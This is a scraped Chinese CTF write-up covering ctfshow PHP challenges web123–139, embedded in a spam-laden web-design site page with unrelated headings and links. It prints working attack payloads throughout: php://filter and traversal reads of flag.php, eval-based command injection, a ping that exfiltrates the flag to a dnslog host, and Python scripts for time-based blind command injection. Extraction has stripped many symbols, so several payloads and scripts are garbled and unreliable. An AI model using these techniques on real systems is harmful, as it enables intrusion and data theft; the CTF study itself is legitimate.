当前位置: 首页 > news >正文

佛山专业网站制作公司广西建设网人员查询网

佛山专业网站制作公司,广西建设网人员查询网,设计之家房屋装修游戏破解版,东营利津网站建设web123 必须传CTF_SHOW#xff0c;CTF_SHOW.COM 不能有fl0g 在php中变量名字是由数字字母和下划线组成的#xff0c;所以不论用post还是get传入变量名的时候都将空格、、点、[转换为下划线#xff0c;但是用一个特性是可以绕过的#xff0c;就是当[提前出现后#xff0c;…web123 必须传CTF_SHOWCTF_SHOW.COM 不能有fl0g 在php中变量名字是由数字字母和下划线组成的所以不论用post还是get传入变量名的时候都将空格、、点、[转换为下划线但是用一个特性是可以绕过的就是当[提前出现后后面的点就不会再被转义了。 POST CTF_SHOW1CTF[SHOW.COM1funecho $flag但是和这个$a$_SERVER[argv]; 没啥关系 不过为了后面更好做题我们还是研究一下 添加链接描述 他这里对这个就讲的特别详细了我抄一下 argv是数组argc是数字。 可通过var_dump($_SERVER);和var_dump($argv);语句查看argv有独立GET之外获取参数的作用。比如传入?aaabbb argv数组两个元素是aaa和bbb。argc是数组的长度。php中有些文件pearcmd.php是通过argv和argc来获取参数的。web网页模式下在web页模式下必须在php.ini开启register_argc_argv配置项设置register_argc_argv On(默认是Off)重启服务$_SERVER[‘argv’]才会有效果题目中应该是On这时候的$_SERVER[‘argv’][0] $_SERVER[‘QUERY_STRING’] //$_SERVER[‘argv’][0]就是a[0]$argv,$argc在web模式下不适用cli模式命令行下第一个参数总是当前【脚本】的文件名因此 $argv[0] 就是脚本文件名。当把php作为脚本使用这个命令执行php script.php arg1 arg2 arg3以上示例的输出类似于 array(4) {[0]string(10) script.php[1]string(4) arg1[2]string(4) arg2[3]string(4) arg3 }然后现在是网页模式 这时候的$_SERVER[‘argv’][0] $_SERVER[‘QUERY_STRING’] //$_SERVER[‘argv’][0]就是a[0]利用$_SERVER[argv][0] 就可以绕过对**isset($fl0g)**的判断用代表空格。 构造payload get: ?$fl0gflag_give_me; post: CTF_SHOW1CTF[SHOW.COM1funeval($a[0])get: ?a11fl0gflag_give_me post: CTF_SHOWCTF[SHOW.COMfunparse_str($a[1]) 这道题终于解决了 web125 就用argv的方法来写 get: ?$fl0gflag_give_me; post: CTF_SHOW1CTF[SHOW.COM1funeval($a[0])web126 如上题 web127 extract从数组中将变量导入到当前的符号表 还有空格可以用 ?ctf showilove36dweb128 gettext():_()是gettext()的拓展函数 在开启相关设定后_(666)等价于gettext(666)且就返回其中的参数(因为过滤了字母所以我们就用下划线让其输出) get_defined_vars返回由所有已定义变量所组成的数组因为包含了flag.php所以flag.php里面肯定有$flag储存了flag。?f1_f2get_defined_varsweb129 stripos查找字符串首次出现的位置readfile 输出文件题目要求我们构造的f中有ctfshow且不在最开头。则执行readfile函数同时还要不影响flag.php的读取 GET传参//查看源码获得flag ?fphp://filter/|ctfshow/resourceflag.php ?f/ctfshow/../../../../../../../var/www/html/flag.php ?f./ctfshow/../flag.php//直接回显base64然后base64解密 ?fphp://filter/readconvert.base64-encode|ctfshow/resourceflag.phpweb130 stripos()遇到数组会返回null,null!false,所以可以绕过stripos函数 然后数组可以绕过preg_match POST: f[]1.表示任意单个字符表示必须匹配1次或多次?表示 重复1次或更多次但尽可能少重复。所以在ctfshow前面必须有至少一个字符才会返回true 所以直接构造playloadfctfshow,即可绕过preg_match函数同时if(0 flase)返回值为false0不是强等于false的所以也不满足if(stripos($f, ctfshow) FALSE) POST: fctfshow还可以目录溢出 import requests urlxxxxxxxxxxxxxxx data{f:very*250000ctfshow } rrequests.post(url,datadata) print(r.text)web131 会进行字符串转换我们之前的办法用不了了 用脚本使得目录溢出 import requests urlxxxxxxxxxxxxxxx data{f:very*25000036Dctfshow } rrequests.post(url,datadata) print(r.text)web132 扫描后台我们进admin/index.php看看 mt_rand()使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快 生成1-877的随机数 if($code mt_rand(1,0x36D) $password $flag || $username admin) 由于比||优先级高所以可以看成是 if($code mt_rand(1,0x36D) $password $flag || $username admin) 所以满足usernameadmin然后codeadmin就有flag?usernameadmincodeadminpassword1 web133 $F $_GET[F](防止报错) substr($F,0,6)截取其中的六个字符我们传递?F$F;sleep 3好像网站确实sleep了一会说明的确执行了命令 **那为什么会这样** 因为是我们传递的$F;sleep 3。先进行substr()函数截断然后去执行eval()函数 这个函数的作用是执行php代码是shell_exec()函数的缩写然后就去命令执行。 而$F就是我们输入的$F;sleep 3 使用最后执行的代码应该是 $F;sleep 3,就执行成功 这里可能有点绕慢慢理解 就是说执行的是eval$F;sleep 3;然后我们就可以进行类似的构造 ?F$F ;ls / ?F$F ;tac /f*但是没有回显 ?F$F; ping cat flag.php | grep ctfshow | tr -cd [a-z]/[0-9].dnslog得到的网址 -c 1DNSlog 先点击左边的获得域名然后传参之后再点击右边的刷新结果 flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn 8-4-4-4-12的flag格式 ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c} web134 parse_str是对get请求进行的内容解析成变量。例如传递?a1执行后就是$a1。 extract 其功能是将关联数组中的键名转换为变量名并将键值赋给这些变量。对_POST进行extract那么构造 ?_POST[key1]36d_POST[key2]36d //刚好 key136dkey236d查看源代码 web135 web133一样的东西但是我们的grep被过滤了所以得思考一下怎么才行但是反斜杠引号什么的没过滤就可以用来绕过 但是不知道为什么web133的相关操作我都用不了了 只能用其他方法了比如写文件 ?F$F ;cp flag.php x.txt ?F$F ;nl flag.phpx.txt ?F$F ;mv flag.php x.txt然后访问x.txt就可以拿到flag 拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f} web136 exec相当于system 直接ls查看目录发现一片空白这时候就需要学新东西了 tee命令 主要用于从标准输入读取数据并将其内容同时输出到标准输出屏幕和一个或多个文件中。简单来说就像水管中的 T 形接头一样数据流经过这里时既可以继续流向下游也可以分流保存到指定的文件中。 例子 echo This is a test line. | tee file1.txt file2.txt 不仅会输出而且还会保存到file1.txt和 file2.txt?cls /|tee 3 然后访问3下载文件记事本打开查看flag ?ccat /f149_15_h3r3|tee 6web 137 获得flag要调用getflag也就是调用类里面的成员 -用于动态语境处理某个类的某个实例::可以调用一个静态的、不依赖于其他初始化的类方法必须传参ctfshow POST: ctfshowctfshow::getflag查看源代码 web138 调用类中的成员但是不能有 : 那么刚才的方法就不能用了但是我们的 call_user_func函数里面可以传数组第一个元素是类名或者类的一个对象第二个元素是类的方法名同样可以调用。这就避免了:的出现。传参 POST: ctfshow[0]ctfshowctfshow[1]getflag查看源码 web139 import requests import time import stringstr string.ascii_letters string.digits - { } _ ~ # 构建一个包含所有字母和数字以及部分符号的字符串符号可以自己加 result # 初始化一个空字符串用于保存结果#获取多少行 for i in range(1, 99):key 0 #用于控制内层循环(j)的结束#不break的情况下一行最多几个字符for j in range(1, 99):if key 1:breakfor n in str: #n就是一个一个的返回值payload if [ ls /|awk NR{0}|cut -c {1} {2} ];then sleep 3;fi.format(i, j, n) #{n}是占位符#print(payload)url http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c payloadtry:requests.get(url, timeout(2.5, 2.5)) #设置超时时间为 2.5 秒,包括连接超时和读取超时超时就是之前sleep 3了。# 如果请求发生异常表示条件满足将当前字符 n 添加到结果字符串中并结束当前内层循环except:result result nprint(result)breakif n ~: #str的最后一位“~”不常出现用作结尾key 1# 在每次获取一个字符后将一个空格添加到结果字符串中用于分隔结果的不同位置result f149_15_h3r3 import requests import time import stringstr string.digits string.ascii_lowercase - _ ~# 题目过滤花括号这里就不加了 result for j in range(1, 99):for n in str:payload if [ cat /f149_15_h3r3 |cut -c {0} {1} ];then sleep 3;fi.format(j, n)# print(payload)url http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c payloadtry:requests.get(url, timeout(2.5, 2.5))except:result result nprint(result)breakif n~:result result 花括号继续跑flag
http://www.zqtcl.cn/news/105769/

相关文章:

  • 成都本地网站建设青岛电子商务的网站建设
  • 北京网站开发培训河南省百城建设提质工程网站
  • 郑州专业建网站南通网站建设技术支持
  • 简约网站程序网络营销方式较为单一
  • 绍兴企业自助建站123房产网
  • 科技类网站设计特点备案 网站首页地址
  • 做兼职网站网站建设培训速成
  • 开源的网站管理系统商务网站设计与建设实训
  • 东莞三合一网站制作江阴做网站的公司有
  • mvc5 网站开发之學 pdf百度搜索引擎首页
  • 手机进入网站自动识别城阳区规划建设局网站
  • 网站开发平台的公司订票网站开发公司
  • 郑州网站推广信息网架结构厂家
  • 提升网站流量的方法汕头站扩建
  • 响应式网站建设制作需要注意什么网站建设汇卓
  • 馨雨公司网站建设策划方案一个网站能放多少关键词
  • 福州 网站开发洛阳做网站找哪家好
  • 网站建设创业书海外短视频平台
  • 网站建设的职称做h5长图网站
  • 石家庄正规制作网站公司网页版微信会在电脑上留下记录吗
  • 互联网网站界面设计 要素没有网怎么安装wordpress
  • asp 英文企业网站 免费WordPress发图册
  • 东莞搜索seo优化排名天津seo托管
  • 做网站一年大概的盈利淘宝式网站建设
  • 深圳网站优化最好的方法wordpress文章如何添加标签
  • 炫酷文字制作网站房屋和建设工程信息平台
  • 邢台企业网站制作公司wordpress 博客 安装教程
  • 西宁网站制作公司排名网站开发开题报告范文2019
  • 公司做竞拍网站的收入怎么报税网易门户网站建设
  • 网站建设投资建设一个网站成本多少